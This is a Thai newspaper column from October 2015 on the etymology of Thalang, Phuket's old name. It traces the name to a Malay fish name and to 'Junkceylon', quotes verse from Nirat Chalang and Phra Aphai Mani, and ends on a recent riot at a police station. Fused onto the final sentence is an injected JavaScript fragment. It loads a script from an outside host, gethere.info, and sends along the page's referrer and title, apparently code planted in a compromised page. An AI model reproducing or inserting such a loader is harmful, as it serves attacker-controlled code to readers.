มติชนรายวัน ฉบับประจำวันศุกร์ที่ 16 ตุลาคม 2558

 

ถล่มถลาง จ. ภูเก็ต

           จ. ภูเก็ต เดิมคือเมืองถลาง มีศูนย์กลางอยู่ท้องถิ่นปัจจุบันเป็น อ. ถลาง จ. ภูเก็ต

           ถลาง เป็นคำกลายจากฉลางในภาษามลายู ชื่อเรียกปลาฉลาง หรือ สลาง (อ่านว่า สะ-หลาง) ซึ่งเป็นปลาทะเลชนิดหนึ่งในสกุล Scomberoides

           มีชุกชุมและเป็นที่รู้จักดีของคนแต่ก่อนในชื่ออื่นๆอีก เช่น ปลาฉละ (สละ), ปลาเฉลียบ (เสลียบ), ปลาสีเสียด, ปลาขานกยาง

           ชื่อเมืองฉลาง ยังเรียกกันสืบมาจนถึงยุคต้นกรุงรัตนโกสินทร์ มีพยานอยู่ในชื่อ นิราศฉลาง ของเสมียนมี หรือหมื่นพรหมสมพัตสร (กวีสมัย ร.3 ร่วมยุคสุนทรภู่)

           Junkceylon ชื่อเรียกภาษาอังกฤษ หมายถึงเกาะภูเก็ตสมัยก่อน ก็มีที่มาจากภาษามลายูว่า Ujong Salang หรือ Jong Salang แปลว่า แหลมฉลาง หรือแหลมสลาง

           ทั้งหมดที่สรุปมานี้ ผมอ่านจากงานค้นคว้า ซึ่งรายละเอียดอีกมากมีในบทความวิชาการเรื่องฝั่งอันดามัน และเกาะหรือเมืองถลางที่ได้ชื่อจากปลา โดย ทศพร วงศ์รัตน์ ราชบัณฑิต สำนักวิทยาศาสตร์ [พิมพ์ในวารสารราชบัณฑิตยสถาน ปีที่ 28 ฉบับที่ 2 (เมษายน-มิถุนายน) พ.ศ. 2546 หน้า 523-564]

           เมืองผลึก ในพระอภัยมณี ซึ่งอยู่ตรงข้ามมหาสมุทรอินเดียกับเมืองลังกา (ศรีลังกา) สุนทรภู่ จินตนาการขึ้นจากเมืองถลาง

           นิราศฉลางบรรยายชายหาดเมืองถลางอย่างงดงามราว “ผลึก” ว่า “เห็นกรวดทรายพรายแพรวเป็นแก้วกอง” แล้วพรรณนาอีก ดังนี้

           มีเนินทรายชายหาดสะอาดเลี่ยน                 เป็นที่เตียนเบื้องขวาเป็นป่าสน

           มีเบี้ยหอยพรอยพรายลายชอบกล               ระคนปนกรวดทรายชายชลา

           ทั้งเบี้ยจั่นเบี้ยไทลูกใหญ่น้อย                     มากกว่าร้อยโกฏิแสนดูแน่นหนา

           มีทั้งเบี้ยประหลาดสะอาดตา                      ดาษดาดีดีสีต่างกัน

           บ้างก็แดงแดงก่ำดังน้ำฝาง                       บ้างดำด่างพร้อยพรายลายขยัน

           บ้างก็เหลืองเหลืองดีดั่งสีจันทร์                ประหลาดพรรณพิศดูน่าชูชม

           มีหอยสังข์สูงศักดิ์ทักขิณวัฏ                      สารพัดของดีก็มีถม

           มีตัวมุกสุกใสไข่กลมกลม                         ในย่านยมนานั้นอำพันมี

           เหตุการณ์สำคัญอันเป็นที่รู้อยู่ทั่วกันคือ ศึกถลาง ที่พม่ายกกองทัพมาตีเมืองถลางคราวสงครามเก้าทัพสมัย ร.1 แล้วเชื่อกันว่าสุนทรภู่ยกเอาเหตุการณ์นี้ไปใส่ในพระอภัยมณีฉากศึกตีเมืองผลึก ดังกลอนว่า

           เมืองมะหุ่งกรุงเตนกุเวนลวาด            เมืองวิลาสวิลยาชวาฉวี

           ถึงเมืองเงาะเกาะวลำสำปะลี              จะชิงตีเมืองผลึกเป็นศึกรุม  

           เมื่อต้นเดือนตุลาคม มีชาวบ้านไม่พอใจตำรวจ เลยพากันถล่มถลางทั้งโรงพัก แล้วปิดถนนสายหลัก ส่งผลสะเทือนเมืองท่องเที่ยวสำคัญมากจนเดือดร้อนทั่วไปหมดทั้งไทยและเทศs.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; }